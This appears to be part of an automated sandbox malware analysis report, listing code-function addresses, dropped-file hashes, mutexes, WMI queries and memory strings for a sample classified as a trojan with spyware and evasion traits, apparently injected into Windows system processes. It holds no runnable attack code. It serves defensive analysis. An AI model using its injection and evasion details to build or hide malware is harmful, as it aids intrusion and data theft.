Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF7177A2B00	4_2_00007FF7177A2B00
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717788A20	4_2_00007FF717788A20
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717792920	4_2_00007FF717792920
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717784920	4_2_00007FF717784920
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF71777A990	4_2_00007FF71777A990
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF887B94DFB	5_2_00007FF887B94DFB
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_3_1B7818D7	8_3_1B7818D7
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1B7818D7	8_2_1B7818D7
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1B7808A4	8_2_1B7808A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF84A54	8_2_1BF84A54
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF89FFC	8_2_1BF89FFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF83CEC	8_2_1BF83CEC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF85BC0	8_2_1BF85BC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF88A58	8_2_1BF88A58
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF8870C	8_2_1BF8870C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF8710C	8_2_1BF8710C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF81500	8_2_1BF81500
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1BF82F00	8_2_1BF82F00
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00007FF887BA098D	8_2_00007FF887BA098D
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF5740967	12_3_0000022BF5740967
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF71F2C3C	12_3_0000022BF71F2C3C
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF71F4A38	12_3_0000022BF71F4A38
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF71F5E7C	12_3_0000022BF71F5E7C
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF71F58FC	12_3_0000022BF71F58FC
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF71F24F7	12_3_0000022BF71F24F7
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF71F557C	12_3_0000022BF71F557C
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF71F1BA6	12_3_0000022BF71F1BA6
Source: C:\Windows\System32\OpenWith.exe	Code function: 12_3_0000022BF71F279C	12_3_0000022BF71F279C
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_3_1B5618D7	13_3_1B5618D7
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1B5618D7	13_2_1B5618D7
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1B5608A4	13_2_1B5608A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1BC65BC0	13_2_1BC65BC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1BC69FFC	13_2_1BC69FFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1BC61500	13_2_1BC61500
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1BC62F00	13_2_1BC62F00
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1BC6870C	13_2_1BC6870C
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1BC6710C	13_2_1BC6710C
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1BC63CEC	13_2_1BC63CEC
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1BC64A54	13_2_1BC64A54
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_1BC68A58	13_2_1BC68A58
Source: C:\Windows\System32\regsvr32.exe	Code function: 13_2_00007FF887B7098D	13_2_00007FF887B7098D
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_3_00007DF43188392C	14_3_00007DF43188392C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_3_00007DF431882204	14_3_00007DF431882204
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_3_00007DF431884EFC	14_3_00007DF431884EFC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D12D24	14_2_0000023D20D12D24
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D02628	14_2_0000023D20D02628
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D0C25C	14_2_0000023D20D0C25C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D1E398	14_2_0000023D20D1E398
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D15ADC	14_2_0000023D20D15ADC
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D30478	14_2_0000023D20D30478
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D46434	14_2_0000023D20D46434
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D3CC00	14_2_0000023D20D3CC00
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D40D90	14_2_0000023D20D40D90
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D3ECE4	14_2_0000023D20D3ECE4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D1DCE4	14_2_0000023D20D1DCE4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D26D18	14_2_0000023D20D26D18
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D014D0	14_2_0000023D20D014D0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D27684	14_2_0000023D20D27684
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D34DE8	14_2_0000023D20D34DE8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D1F618	14_2_0000023D20D1F618
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D355B0	14_2_0000023D20D355B0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D395D4	14_2_0000023D20D395D4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D33F70	14_2_0000023D20D33F70
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D16F24	14_2_0000023D20D16F24
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D1C750	14_2_0000023D20D1C750
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D286B4	14_2_0000023D20D286B4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D1BEB8	14_2_0000023D20D1BEB8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D23EA4	14_2_0000023D20D23EA4
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D35EC8	14_2_0000023D20D35EC8
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D40874	14_2_0000023D20D40874
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D27094	14_2_0000023D20D27094
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D2D854	14_2_0000023D20D2D854
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D1D010	14_2_0000023D20D1D010
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D3A81C	14_2_0000023D20D3A81C
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D20174	14_2_0000023D20D20174
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D3E984	14_2_0000023D20D3E984
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D3F940	14_2_0000023D20D3F940
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D35918	14_2_0000023D20D35918
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D348D0	14_2_0000023D20D348D0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D17270	14_2_0000023D20D17270
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D40270	14_2_0000023D20D40270
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D33A38	14_2_0000023D20D33A38
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D34A50	14_2_0000023D20D34A50
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D43A4D	14_2_0000023D20D43A4D
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D3F1D0	14_2_0000023D20D3F1D0
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_00007DF4318822CC	14_2_00007DF4318822CC
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D98EB8	15_2_000001E879D98EB8
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879DAC668	15_2_000001E879DAC668
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D96E94	15_2_000001E879D96E94
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879DA4660	15_2_000001E879DA4660
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D8D604	15_2_000001E879D8D604
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D88DF4	15_2_000001E879D88DF4
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D9AE10	15_2_000001E879D9AE10
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879DA25B4	15_2_000001E879DA25B4
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D8C5D4	15_2_000001E879D8C5D4
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D99D30	15_2_000001E879D99D30
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879DAC500	15_2_000001E879DAC500
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D9A4F8	15_2_000001E879D9A4F8
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D9A860	15_2_000001E879D9A860
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D99818	15_2_000001E879D99818
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D9F76C	15_2_000001E879D9F76C
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D927A4	15_2_000001E879D927A4
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D992D4	15_2_000001E879D992D4
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879DA2AA0	15_2_000001E879DA2AA0
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879DA2254	15_2_000001E879DA2254
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879DA3210	15_2_000001E879DA3210
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D98980	15_2_000001E879D98980
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879DA4144	15_2_000001E879DA4144
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D8BC68	15_2_000001E879D8BC68
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D9E428	15_2_000001E879D9E428
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D953C8	15_2_000001E879D953C8
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879D8737C	15_2_000001E879D8737C
Source: C:\Windows\System32\dllhost.exe	Code function: 15_2_000001E879DA3B40	15_2_000001E879DA3B40
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE32D24	18_2_000001AADAE32D24
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE3C750	18_2_000001AADAE3C750
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE36F24	18_2_000001AADAE36F24
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE3BEB8	18_2_000001AADAE3BEB8
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE486B4	18_2_000001AADAE486B4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE55EC8	18_2_000001AADAE55EC8
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE43EA4	18_2_000001AADAE43EA4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE47684	18_2_000001AADAE47684
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE4D854	18_2_000001AADAE4D854
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE3D010	18_2_000001AADAE3D010
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE5A81C	18_2_000001AADAE5A81C
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE53F70	18_2_000001AADAE53F70
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE46D18	18_2_000001AADAE46D18
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE214D0	18_2_000001AADAE214D0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE5ECE4	18_2_000001AADAE5ECE4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE3DCE4	18_2_000001AADAE3DCE4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE50478	18_2_000001AADAE50478
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE3F618	18_2_000001AADAE3F618
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE22628	18_2_000001AADAE22628
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE595D4	18_2_000001AADAE595D4
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE54DE8	18_2_000001AADAE54DE8
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE555B0	18_2_000001AADAE555B0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE60D90	18_2_000001AADAE60D90
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE35ADC	18_2_000001AADAE35ADC
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE60270	18_2_000001AADAE60270
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE37270	18_2_000001AADAE37270
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE66434	18_2_000001AADAE66434
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE5CC00	18_2_000001AADAE5CC00
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE3E398	18_2_000001AADAE3E398
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE5F940	18_2_000001AADAE5F940
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE55918	18_2_000001AADAE55918
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE548D0	18_2_000001AADAE548D0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE47094	18_2_000001AADAE47094
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE60874	18_2_000001AADAE60874
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE54A50	18_2_000001AADAE54A50
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE63A4D	18_2_000001AADAE63A4D
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE2C25C	18_2_000001AADAE2C25C
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE53A38	18_2_000001AADAE53A38
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE5F1D0	18_2_000001AADAE5F1D0
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE40174	18_2_000001AADAE40174
Source: C:\Windows\System32\rekeywiz.exe	Code function: 18_2_000001AADAE5E984	18_2_000001AADAE5E984

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\miEk.ini BE86E0357748F3B4FA166342F284800A83C955C2C8B197475C2450613A6EED67
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\u0ow.ini 55A451457DBC1F6D28A4C1AB2D477FBBFAE002999A0789C9F3D1BD6610511D98

Source: C:\Users\Public\ajbs50ul.bat	Code function: String function: 00007FF717717EF0 appears 224 times
Source: C:\Users\Public\ajbs50ul.bat	Code function: String function: 00007FF7177AD4B0 appears 72 times
Source: C:\Users\Public\ajbs50ul.bat	Code function: String function: 00007FF717797290 appears 129 times
Source: C:\Users\Public\ajbs50ul.bat	Code function: String function: 00007FF71779C9D0 appears 64 times
Source: C:\Users\Public\ajbs50ul.bat	Code function: String function: 00007FF717797030 appears 31 times
Source: C:\Users\Public\ajbs50ul.bat	Code function: String function: 00007FF717797520 appears 48 times
Source: C:\Users\Public\ajbs50ul.bat	Code function: String function: 00007FF7177AC954 appears 41 times
Source: C:\Users\Public\ajbs50ul.bat	Code function: String function: 00007FF717760EF0 appears 40 times

Source: miEk.ini.4.dr	Static PE information: Number of sections : 11 > 10
Source: ajbs50ul.bat.3.dr	Static PE information: Number of sections : 11 > 10
Source: utox_x86_x64.exe.3.dr	Static PE information: Number of sections : 21 > 10

Source: 8.3.regsvr32.exe.2c84fd0.7.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.3.regsvr32.exe.2c84fd0.7.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.regsvr32.exe.1b690000.3.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.regsvr32.exe.1b690000.3.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.3.regsvr32.exe.2c84fd0.6.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.3.regsvr32.exe.2c84fd0.6.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.regsvr32.exe.12f59ac0.2.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.regsvr32.exe.12f59ac0.2.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.regsvr32.exe.2c84fd0.0.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 8.2.regsvr32.exe.2c84fd0.0.raw.unpack, Redist.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winLNK@30/20@3/30

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF7177585F0 memset,FormatMessageW,GetLastError,

4_2_00007FF7177585F0

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF717767140 CreateToolhelp32Snapshot,memset,Module32FirstW,Module32NextW,UnmapViewOfFile,CloseHandle,UnmapViewOfFile,CloseHandle,CloseHandle,

4_2_00007FF717767140

Source: C:\Users\user\Desktop\utox_x86_x64.exe

Code function: 9_2_00614FA0 CoInitialize,CoInitialize,CoCreateInstance,CoCreateInstance,CoUninitialize,PeekMessageA,SetEvent,SetEvent,GetMessageA,GetMessageA,CoUninitialize,SetEvent,SetEvent,

9_2_00614FA0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\ajbs50ul.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7412:120:WilError_03
Source: C:\Windows\System32\regsvr32.exe	Mutant created: NULL
Source: C:\Windows\System32\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\cbRHd
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Users\user\Desktop\utox_x86_x64.exe	Mutant created: \Sessions\1\BaseNamedObjects\uTox
Source: C:\Windows\System32\rekeywiz.exe	Mutant created: \Sessions\1\BaseNamedObjects\MUTEX
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}
Source: C:\Windows\System32\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Jason_OsodJpavasJmnlndsto

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3hct0mt.ldv.ps1

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: OpenWith.exe, 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: OpenWith.exe, 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: OpenWith.exe, 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: OpenWith.exe, 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: OpenWith.exe, 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
